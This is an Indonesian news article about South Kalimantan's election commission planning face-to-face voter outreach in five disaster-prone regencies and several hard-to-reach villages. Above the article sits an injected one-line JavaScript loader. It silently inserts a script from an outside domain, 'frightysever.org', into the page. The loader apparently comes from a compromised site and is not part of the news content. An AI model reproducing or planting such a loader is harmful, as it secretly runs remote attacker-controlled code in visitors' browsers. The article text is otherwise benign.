(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Politik

KPU Kalsel Akan Sosialisasi Pemilu di Lima Kabupaten Rawan Bencana

BANJARMASIN, KPU Kalsel akan lakukan sosialisasi dalam bentuk tatap muka ke lima kabupaten/kota di Kalsel dalam waktu dekat. Wilayah yang akan disosialisasikan adalah wilayah potensi bencana yang meliputi Kotabaru, Tapin, Balangan, Hulu Sungai Tengah (HST) dan Kabupaten Banjar.

“Daerah potensi bencana seperti lintasan sungai, rawa, gunung, dan laut,” jelas Komisioner KPU Divisi Sosialisasi Pendidikan Pemilih dan Parmas, Edy Ariansyah.

Untuk Balangan dan HST, pihaknya akan bertemu langsung dengan masyarakat adat. Langkah tersebut mengantisipasi tak tersampaikannya informasi secara maksimal karena terbatasnya jangkuan sarana informasi dan media. Sehingga metode tatap muka adalah pilihan tepat. “Langsung menyapa dengan warga setempat. Kalau mereka sulit berkumpul, kita akan lakukan door to door,” lanjutnya.

Selain wilayah segmen potensi bencana alam, wilayah dengan potensi partisipasi pemilih rendah pun akan diadakan sosialisasi. KPU Kalsel akan menggunakan data partisipan dari pemilu terakhir 2014 silam. Secara keseluruhan dari 13 kabupaten/kota di Kalsel, tercatat dengan partisipan rendah adalah Kotabaru. Sehingga nanti akan ada tim yang akan dikirim ke wilayah tersebut.

Pun Desa Tiwingan Lama dan Belangian di Kabupaten Banjar serta Desa Juhu, HST yang tidak terjangkau sarana teknologi dan transportasi. Apalagi mengingat akses ke desa Juhu memakan waktu dua hari dengan berjalan kaki. Metode tatap muka, dijelaskan Edy merupakan upaya KPU Kalsel guna memaksimalkan melayani hak warga negara dalam pemilu.(mario)

Reporter:Mario
Editor:Cell